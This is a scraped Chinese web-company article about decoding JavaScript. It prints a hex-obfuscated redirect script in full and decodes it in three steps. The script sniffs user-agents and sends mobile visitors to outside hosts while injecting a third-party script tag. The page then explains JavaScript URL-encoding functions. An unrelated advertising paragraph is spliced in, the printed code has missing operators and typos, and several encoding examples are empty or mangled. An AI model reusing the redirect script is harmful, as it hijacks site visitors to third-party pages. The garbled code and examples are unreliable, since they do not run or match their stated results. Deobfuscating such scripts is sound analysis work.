资讯

精准传达 • 有效沟通

从品牌网站建设到网络营销策划,从策略到执行的一站式服务

javascript解码,js转码解码

JavaScript解密

第一步解码:

创新互联建站制作网站网页找三站合一网站制作公司,专注于网页设计,网站设计、做网站,网站设计,企业网站搭建,网站开发,建网站业务,680元做网站,已为1000多家服务,创新互联建站网站建设将一如既往的为我们的客户提供最优质的网站建设、网络营销推广服务!

var _$ = ["\x77\x66", "\x3f", "\x26\x74\x3d\x7a\x72", '\x54\x72\x69\x64\x65\x6e\x74', '\x50\x72\x65\x73\x74\x6f', '\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74', '\x47\x65\x63\x6b\x6f', '\x4b\x48\x54\x4d\x4c', '\x41\x6e\x64\x72\x6f\x69\x64', '\x4c\x69\x6e\x75\x78', '\x69\x50\x68\x6f\x6e\x65', '\x69\x50\x61\x64', '\x53\x61\x66\x61\x72\x69', "\x68\x74\x74\x70\x3a\x2f\x2f\x62\x61\x69\x64\x75\x2d\x67\x6f\x6f\x67\x6c\x65\x2d\x73\x6f\x67\x6f\x75\x2d\x73\x6f\x73\x6f\x2d\x33\x36\x30\x2d\x71\x71\x2e\x6d\x61\x68\x6a\x75\x6e\x2e\x63\x6f\x6d\x2f\x63\x64\x6e\x2f\x69\x6e\x64\x65\x78\x2e\x68\x74\x6d\x6c\x3f", '\x68\x74\x74\x70\x3a\x2f\x2f\x69\x6f\x73\x2e\x61\x64\x61\x6e\x7a\x68\x75\x6f\x2e\x63\x6f\x6d\x2f\x67\x6f\x33\x2e\x70\x68\x70\x3f', '\x26\x74\x69\x64\x3d\x31\x35', "\x3c\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3d\'\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\'\x20\x63\x68\x61\x72\x73\x65\x74\x3d\'\x67\x62\x32\x33\x31\x32\'\x20\x73\x72\x63\x3d\'\x68\x74\x74\x70\x3a\x2f\x2f\x6a\x73\x2e\x61\x64\x6d\x2e\x63\x6e\x7a\x7a\x2e\x6e\x65\x74\x2f\x73\x2e\x70\x68\x70\x3f\x73\x69\x64\x3d\x32\x36\x37\x31\x37\x34\'\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e"];

var a = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64"](_$[0])["\x73\x72\x63"];src = a["\x73\x70\x6c\x69\x74"](_$[1])[0x1] + _$[2];

var b = {

versions: function() {

var c = navigator["\x75\x73\x65\x72\x41\x67\x65\x6e\x74"],

d = navigator["\x61\x70\x70\x56\x65\x72\x73\x69\x6f\x6e"];

return {

trident: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[3])  -0x1,

presto: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[4])  -0x1,

webKit: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[5])  -0x1,

gecko: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[6])  -0x1  c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[7]) == -0x1,

mobile: !!c["\x6d\x61\x74\x63\x68"](/AppleWebKit.*Mobile.*/),

ios: !!c["\x6d\x61\x74\x63\x68"](/\(i[^;]+;( U;)? CPU.+Mac OS X/),

android: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[8])  -0x1 || c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[9])  -0x1,

iPhone: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[10])  -0x1,

iPad: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[11])  -0x1,

webApp: c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[12]) == -0x1

}

} (),

language: (navigator["\x62\x72\x6f\x77\x73\x65\x72\x4c\x61\x6e\x67\x75\x61\x67\x65"] || navigator["\x6c\x61\x6e\x67\x75\x61\x67\x65"])["\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65"]()

};

if (b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x6d\x6f\x62\x69\x6c\x65"] != false  b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x61\x6e\x64\x72\x6f\x69\x64"] != false) {

window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"] = _$[13] + src

} else if (b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x6d\x6f\x62\x69\x6c\x65"] != false  (b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x68\x6f\x6e\x65"] != false || b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x61\x64"] != false || b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x6f\x64"] != false)) {

window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"] = _$[14] + src + _$[15]

};

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"](_$[16]);

第二步解码:

var _$ = ["wf", "?", "t=zr", 'Trident', 'presto', 'AppleWebkit', 'Gecko', 'kHTML', 'Android', 'Linux', 'iphone', 'ipad', 'Safari', 'tid=15', "script type=\'text/javascript\' charset=\'gb2312\' src=\'\'/script"

];

var a = window["document"]["getElementById"](_$[0])["src"];src = a["split"](_$[1])[0x1] + _$[2];

var b = {

versions: function() {

var c = navigator["userAgent"],

d = navigator["appVersion"];

return {

trident: c["indexOf"](_$[3])  -0x1,

presto: c["indexOf"](_$[4])  -0x1,

webKit: c["indexOf"](_$[5])  -0x1,

gecko: c["indexOf"](_$[6])  -0x1  c["indexOf"](_$[7]) == -0x1,

mobile: !!c["match"](/AppleWebKit.*Mobile.*/),

ios: !!c["match"](/\(i[^;]+;( U;)? CPU.+Mac OS X/),

android: c["indexOf"](_$[8])  -0x1 || c["indexOf"](_$[9])  -0x1,

iPhone: c["indexOf"](_$[10])  -0x1,

iPad: c["indexOf"](_$[11])  -0x1,

webApp: c["indexOf"](_$[12]) == -0x1

}

} (),

language: (navigator["browserLanguage"] || navigator["language"])["toLower\x43ase"]()

};

if (b["versions"]["mobile"] != false  b["versions"]["android"] != false) {

window["location"]["href"] = _$[13] + src

} else if (b["versions"]["mobile"] != false  (b["versions"]["iphone"] != false || b["versions"]["ipad"] != false || b["versions"]["ipod"] != false)) {

window["location"]["href"] = _$[14] + src + _$[15]

};

window["document"]["writeln"](_$[16]);

第三步解码

var a = document.getElementById('wf').src;

src = a.split('?')[1] + 't=zr';

var b = {

versions: function() {

var c = navigator.userAgent,

d = navigator.appVersion;

return {

trident: c.indexOf('Trident')  -1,

presto: c.indexOf( 'presto')  -1,

webKit: c.indexOf('AppleWebkit')  -1,

gecko: c.indexOf('Gecko')  -1  c.indexOf('kHTML') == -1,

mobile: !!c.match.(/AppleWebKit.*Mobile.*/),

ios: !!c.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/),

android: c.indexOf('Android')  -1 || c.indexOf('Linux')  -1,

iPhone: c.indexOf('iphone')  -1,

iPad: c.indexOf('ipad')  -1,

webApp: c.indexOf('Safari') == -1

}

} (),

language: (navigator.browserLanguage || navigator.language).toLowerCase();

};

if (b["versions"]["mobile"] != false  b["versions"]["android"] != false) {

location.href =  '?' + src

} else if (b["versions"]["mobile"] != false  (b["versions"]["iphone"] != false || b["versions"]["ipad"] != false || b["versions"]["ipod"] != false)) {

location.href  =  '?' + src + 'tid=15'

};

document.writeln('script type=\'text/javascript\' charset=\'gb2312\' src=\'\'/script');

前端js的三种解码方式

** 只有 0-9[a-Z] $ - _ . + ! * ' ( ) , 以及某些保留字,才能不经过编码直接用于 URL。

***例如:搜索的中文关键字,复制网址之后再粘贴就会发现该URL已经被转码。

1) escape 和 unescape

原理:对除ASCII字母、数字、标点符号 @ * _ + - . / 以外的其他字符进行编码。

编码:

eg:escape(';order= 你好')

res:"http%3A//"

解码:

eg:unescape("http%3A//")

res:" ;order= 你好"

2) encodeURI 和 decodeURI

原理:返回编码为有效的统一资源标识符 (URI) 的字符串,不会被编码的字符:! @ # $ * ( ) = : / ; ? + '

encodeURI()是Javascript中真正用来对URL编码的函数。

编码:

eg:encodeURI(';order= 你好')

  res:" ;order=%E4%BD%A0%E5%A5%BD "

解码:

eg:decodeURI(" ;order=%E4%BD%A0%E5%A5%BD ")

  res:" ;order= 你好"

3) encodeURIComponent 和 decodeURIComponent

原理:对URL的组成部分进行个别编码,而不用于对整个URL进行编码

编码:

eg:encodeURIComponent(';order=1')

res:"http%3A%2F% 2F "

解码:

eg:decodeURIComponent("http%3A%2F% 2F ")

res:" ;order=1 "

JS对URL进行编码和解码

Javascript语言用于编码的函数,一共有三个,最古老的一个就是escape()。虽然这个函数现在已经不提倡使用了,但是由于历史原因,很多地方还在使用它,所以有必要先从它讲起。

实际上,escape()不能直接用于URL编码,它的真正作用是返回一个字符的Unicode编码值。比如"春节"的返回结果是%u6625%u8282,也就是说在Unicode字符集中,"春"是第6625个(十六进制)字符,"节"是第8282个(十六进制)字符。

它的具体规则是,除了ASCII字母、数字、标点符号"@ * _ + - . /"以外,对其他所有字符进行编码。在u0000到u00ff之间的符号被转成%xx的形式,其余符号被转成%uxxxx的形式。对应的解码函数是unescape()。

还有两个地方需要注意。

首先,无论网页的原始编码是什么,一旦被Javascript编码,就都变为unicode字符。也就是说,Javascipt函数的输入和输出,默认都是Unicode字符。这一点对下面两个函数也适用。

其次,escape()不对"+"编码。但是我们知道,网页在提交表单的时候,如果有空格,则会被转化为+字符。服务器处理数据的时候,会把+号处理成空格。所以,使用的时候要小心。

例如:

编码:

解码:

encodeURI()是Javascript中真正用来对URL编码的函数。

它着眼于对整个URL进行编码,因此除了常见的符号以外,对其他一些在网址中有特殊含义的符号"; / ? : @ = + $ , #",也不进行编码。编码后,它输出符号的utf-8形式,并且在每个字节前加上%。

它对应的解码函数是decodeURI()。

例如:

编码:

解码:

最后一个Javascript编码函数是encodeURIComponent()。与encodeURI()的区别是,它用于对URL的组成部分进行个别编码,而不用于对整个URL进行编码。

因此,"; / ? : @ = + $ , #",这些在encodeURI()中不被编码的符号,在encodeURIComponent()中统统会被编码。至于具体的编码方法,两者是一样。

它对应的解码函数是decodeURIComponent()。

例如:

编码:

解码:

参考文章:阮一峰:关于URL编码

javascript中怎么对已经编码的字符串解码?

如果你是用escape编码的,就用unescape()

如果你是用URLEncoder.encode()编码的,就用decodeURI() 解码。


网页题目:javascript解码,js转码解码
转载来于:http://cdkjz.cn/article/dsgddhe.html
多年建站经验

多一份参考,总有益处

联系快上网,免费获得专属《策划方案》及报价

咨询相关问题或预约面谈,可以通过以下方式与我们联系

大客户专线   成都:13518219792   座机:028-86922220